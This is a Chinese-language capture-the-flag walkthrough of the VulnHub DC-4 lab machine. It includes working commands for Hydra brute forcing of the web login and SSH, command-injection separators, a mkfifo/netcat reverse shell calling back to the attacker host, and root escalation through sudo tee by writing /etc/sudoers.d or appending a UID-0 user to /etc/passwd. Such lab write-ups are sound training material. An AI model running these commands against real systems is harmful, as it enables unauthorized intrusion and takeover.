最近把 VulnHub 的 DC-4 靶机完整打了一遍。作为经常拿 VulnHub 系列做靶场练习的人这台机器给我的感觉是路径完整、难度适中、环境干净。它不像某些靶机为了增加难度塞一堆无关噪声也不像 DC-1 那样需要自己翻源码找入口DC-4 更像是一套“登录爆破 → 命令注入 → 反弹 Shell → 凭证复用 → 提权”的经典串联题。适合刚学完 Web 漏洞原理、想完整走一遍渗透测试链路的新手也适合长期只打自动化脚本、缺少手工排查经验的人练手。如果你还没搭过 VulnHub 靶场最好先用 VirtualBox 把 DC-4 的 OVA 导进来给 Kali 和靶机配置同一张 Host-Only 网卡。网络通了之后后面所有操作都是标准流程。1. 靶场搭建与信息收集1.1 下载导入与网络规划VulnHub 上提供的下载包一般是 OVA 格式直接用 VirtualBox 的“导入虚拟电脑”功能就能加载。DC-4 默认配置不需要改虚拟硬件内存、网卡都保持默认即可。我习惯的做法是先把靶机关机然后在“设置 → 网络”里把第一块网卡改成 Host-Only 网络也就是只连接虚拟主机。这样可以避免靶机直接暴露在物理局域网减少误操作带来的风险。攻击机 Kali 同样需要加一块 Host-Only 网卡和靶机处于同一个网段。Host-Only 网络默认通常是192.168.56.0/24具体看 VirtualBox 全局设置里的定义。两台机器都启动后先用探测工具确认靶机 IPsudo netdiscover -r 192.168.56.0/24或者sudo arp-scan -lDC-4 开了 DHCP所以靶机会自动获取地址。我这里分配到的 IP 是192.168.56.101下文都用这个地址举例读者以自己环境里实际分配到的为准。扫描阶段容易犯的错误是只扫-p 80或默认端口漏掉高位端口。像 DC-4 这种故意做给新手练手的靶机一般不会开奇怪的高位端口但还是要养成全端口扫描的习惯。1.2 端口扫描与指纹识别拿到靶机 IP 后先用 Nmap 做一次比较完整的服务识别sudo nmap -sV -sC -O -p- 192.168.56.101 -T4 -oN nmap_dc4.txt参数含义不复杂-sV探测服务版本-sC跑默认 NSE 脚本-O做系统识别-p-表示全端口。加上-oN保存结果后面写报告或复盘时还能回看。我当时的结果大概是这样端口服务说明22/tcpOpenSSH后面可能会用 SSH 爆破或作为横向入口80/tcpHTTP主要攻击面全端口只有这两个服务意味着不需要在内网横向、不需要打其他服务突破口就锁死在 Web 上。这时候再用浏览器打开http://192.168.56.101/看到的是一个登录页面页面上写着 DC-4要求输入用户名和密码。用curl看一眼页面源码会更清楚curl -s http://192.168.56.101/login.php | grep -E form|name可以看到登录表单有两个字段一个是username一个是password。没有注册入口、没有找回密码、没有明显的参数注入点。那么最常规的下一步就是登录爆破。2. 登录爆破与命令注入2.1 手工确认再上 Hydra很多人一上来就hydra -l admin -P rockyou.txt猛灌结果半天跑不出结果最后发现是失败提示字符串抓错了。正确的做法是先用 Burp 或curl手工提交一次错误的登录请求记录服务器返回的失败提示。我用手工请求试了admin / test页面返回了Invalid credentials。这个字符串就是 Hydra 用来判断“这次尝试失败了”的依据。如果字符串错了Hydra 会把所有成功、失败的响应都误判导致爆破结果不可用。Kali 里自带 Hydra字典用 rockyou 就行。第一次使用时需要先解压sudo gunzip /usr/share/wordlists/rockyou.txt.gz然后爆破命令hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.56.101 http-post-form /login.php:username^USER^password^PASS^:Invalid credentials -t 16 -f命令拆开看-l admin固定用户名为 admin-P指定密码字典后面是 HTTP POST 表单的完整格式请求路径、POST 参数、失败标识。-t 16是并发线程-f是找到一个有效口令就停止。我用这台靶机实测跑了一会儿后得到结果[80][http-post-form] host: 192.168.56.101 login: admin password: happy登录名admin是怎么来的一方面 DC-4 的登录页面没有用户枚举提示另一方面这种练习靶机默认管理账号叫 admin 的概率很高。更稳妥的做法是先用cewl或从页面 HTML 里的注释、命名习惯收集可能用户名再做成用户数字典一起跑。不过对于 DC-4直接固定admin就够。2.2 登录后的命令注入点用admin / happy登录进去菜单里出现了一个Run Command页面。输入框提示可以执行命令页面请求对应的是command.php。先别急着弹 Shell先在输入框里输入一个无害命令确认执行情况id页面输出uid33(www-data) gid33(www-data) groups33(www-data)这说明 Web 后端直接调用了系统命令执行函数并且没有对输入做任何过滤。这就是典型的命令注入。它的原理很简单Web 程序把用户输入拼接到了系统命令里比如system(echo . $_POST[command]);攻击者只要通过;、|、这类分隔符把原本的 echo 命令截断再追加自己的命令就能执行任意系统命令。我在靶机上依次试了; whoami | whoami || whoami whoami都能正常执行。这里有一个细节虽然;和|都可能有效但不同过滤策略下结果不一样。如果某条被过滤了换一个分隔符或换%0a换行符往往就能突破。3. 反弹 Shell 与内网信息收集3.1 反弹 Shell 的通用姿势命令注入点能执行id之后下一步是拿一个交互式 Shell。这里不建议在网页输入框里一条条执行命令效率太低而且操作不方便。我通常在 Kali 上起一个监听端口再用一条无交互的反弹 Shell 命令从靶机主动连回来。先在 Kali 上监听nc -lvnp 4444然后在靶机的命令输入框里填rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.1 4444 /tmp/f这条命令用了命名管道的方式兼容性比nc -e /bin/bash好。因为很多系统自带的 netcat 是 OpenBSD 版本不支持-e参数而这种 FIFO 写法在 Linux 下基本都能跑。如果输入框不能直接粘贴空格、分号可以用 Python 先做一次 URL 编码再提交python3 -c import urllib.parse; print(urllib.parse.quote(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|nc 192.168.56.1 4444 /tmp/f))等到 Kali 这边出现$提示符说明反弹成功。先确认一下身份id hostname当前用户是www-data没有 sudo 权限。这时候要做的是把交互终端升级成标准 TTY否则后面执行su、编辑文件时会出现各种奇怪问题。升级方式python3 -c import pty;pty.spawn(/bin/bash) export TERMxterm然后按CtrlZ回到本机执行stty raw -echo; fg再按一次回车终端就变成正常交互模式方向键、Tab 补全都能用了。3.2 从 www-data 翻出可复用凭证拿到低权 Shell 后先做基础信息收集不要急着提权。最简单有效的是先看用户目录ls -la /home find /home -type f \( -name *.txt -o -name *.bak -o -name *.old \) -exec ls -la {} \; 2/dev/null我这边直接看到了/home/jim/old-passwords.bak。用cat打开发现里面是一大堆密码看起来像是历史密码字典cat /home/jim/old-passwords.bak这个文件本身就是一个非常大的线索。正常情况下密码备份应该在加密的归档或权限受限的目录里现在直接放在用户目录且权限是rw-r--r--任何低权限用户都能读。这基本就是在提醒用这份字典去撞这台机器上的 SSH 账号。接下来自然想到用 Hydra 做 SSH 弱口令爆破用户名固定为jimhydra -l jim -P /home/jim/old-passwords.bak ssh://192.168.56.101 -t 4 -f -o ssh_jim.txt注意线程数不要开太高-t 4足够了。SSH 爆破线程过高容易把靶机的连接数耗尽也会让日志变得很乱。跑完后的结果里有一个密码这里我用靶机实测得到的密码是jibril84。直接 SSH 登录ssh jim192.168.56.101成功后就是jim用户。这时候已经不是最初的www-data权限已经往前推进了一步。4. 提权到 root 的两种姿势4.1 一眼看穿 sudo 配置问题很多 Linux 靶机的最终提权点不是内核漏洞而是管理员自己把 sudo 权限配得太宽。进入jim的会话后先执行sudo -l这里不会要密码因为在sudoers里已经配置了免密。输出显示User jim may run the following commands on dc-4: (root) NOPASSWD: /usr/bin/tee这条规则的意思是jim可以以 root 身份执行/usr/bin/tee而且不需要输入密码。单独看/usr/bin/tee似乎没啥杀伤力但如果把“root 权限执行”和“能读写任意文件”两个能力结合起来它就变成了一个非常实用的提权工具。tee命令本身的作用是读取标准输入并把内容写到文件里同时输出到屏幕。常见的场景是把数据通过管道传给tee再让tee写入某个日志文件。它的关键点在于写入什么文件、以什么身份写入完全取决于调用时的权限。既然现在能通过 sudo 以 root 身份执行 tee那就可以把内容写到原本只有 root 才能修改的系统文件里。4.2 方案一给 sudoers 追加一条免密规则最简单的思路是给当前用户追加一条 sudo 规则让自己直接拥有执行任意命令的权限。命令如下echo jim ALL(ALL) NOPASSWD: ALL | sudo /usr/bin/tee /etc/sudoers.d/jim这一行的作用是由tee以 root 权限写入/etc/sudoers.d/jim文件内容就是一条新的 sudo 规则。之后jim执行任何 sudo 命令都不需要密码。写入完成后验证一下sudo -i id如果顺利的话你已经变成 rootuid0(root) gid0(root) groups0(root)完成后直接读 root 目录下的 flag 文件cat /root/root.txt如果目录下还有别的flag文件名可以用find /root -type f找一下。这里就不再展示具体内容了毕竟每台靶机的 flag 也不固定。能读到就说明提权已经完成。4.3 方案二往 /etc/passwd 里写一个 root 用户如果你不想动 sudoers也可以利用tee -a往/etc/passwd里追加一个 UID 为 0 的新用户。首先用openssl生成密码哈希openssl passwd -6 -salt s3cr3t Pssw0rd会得到类似$6$s3cr3t$...的哈希串。然后追加echo ctf:$6$s3cr3t$...:0:0:root:/root:/bin/bash | sudo /usr/bin/tee -a /etc/passwd之后切到这个新用户su ctf输密码时用刚才定义的Pssw0rd。如果系统没有启用 shadow或者 PAM 配置允许从/etc/passwd读取哈希这个方法就成立。不过现在的多数 Linux 发行版都用 shadow直接在/etc/passwd塞哈希并不是百分百可靠。碰到不成功的情况还是回到方案一更稳。这里必须强调tee默认是覆盖写入不是追加写入。如果执行时忘了加-a会把整个/etc/passwd覆盖掉靶机当场就废了。所以在真实环境里不要拿这种写法乱试先用方案一的 sudoers 路线。4.4 两条路线的本质sudo tee提权本质上不是tee这个命令有多厉害而是管理员错误地把一个可以写任意文件的 root 权限交给了低权限用户。早期很多靶机都喜欢用“给某个命令 sudo 权限”来制造提权点比如sudo vim、sudo find、sudo zip思路都一样找到这个命令能否读取或写入系统关键文件然后利用它来覆盖/etc/sudoers或/etc/passwd。5. 常见问题与复盘5.1 实操中的坑和排查方法我打 DC-4 的过程中踩了几个坑整理成一张速查表后面再打其他 VulnHub 靶机也基本适用。现象原因解决思路Hydra 爆破一直没有成功提示失败标识字符串和服务器实际返回不一致用 Burp 手工发一次错误请求准确复制唯一提示命令注入页面执行后没回显命令被过滤或没有输出拼接逻辑换;、反弹 Shell 连不上监听地址、端口、防火墙、命令编码有问题先在 Kali 本地测试监听确认端口没被占用再检查 payload 是否被 URL 编码用 sudo tee 时系统文件内容被清空忘记加-a追加参数写入已有文件前一定要确认是否需要保留原内容加上-aSSH 爆破很慢字典太大线程太高用-t 4 -f -v限制线程命中后自动停止还有一个容易被忽略的习惯问题拿到 root 后不要急着关靶机或者立刻清环境。检查一下整个攻击链路里哪些凭据是爆破得到的、哪些是明文存储在系统里的把这些信息记下来。授权渗透测试的报告里证明漏洞影响范围比单纯打出 flag 更有说服力。5.2 这套打法能迁移到什么场景DC-4 的路子其实是大多数真实内网失陷的缩影先打暴露面找一个弱口令进入应用再利用应用自身功能执行命令随后在系统内部找到可复用的明文凭证最后靠着某个配置错误提权到管理员权限。如果你接着打 DC-1、DC-2 这类靶机会发现它们的套路各不一样。DC-1 可能在 CMS 漏洞和 SUID 提权上做文章DC-2 则更侧重 WordPress 插件漏洞和 rbash 逃逸。DC-4 最值得学习的不是某一个单一漏洞而是整个“信息收集 → 拿到低权 → 横向到用户 → 提权到 root”的思维链。命令注入点除了反弹 Shell还能用来读取/etc/passwd、查看进程、抓取 Web 目录下的数据库配置文件密码字典文件除了拿来 SSH 爆破还能猜 Web 后台口令。我个人打这台靶机时卡得最久的是登录爆破的失败标识没有抓准后来养成了“先用 Burp 发一次错误请求再复制错误提示”的习惯后面再碰到其他登录爆破场景基本都是顺手一把过。这条经验其实比 DC-4 本身更值钱。靶机只是一个练习载体真正需要留下来的是这一套稳定的方法论。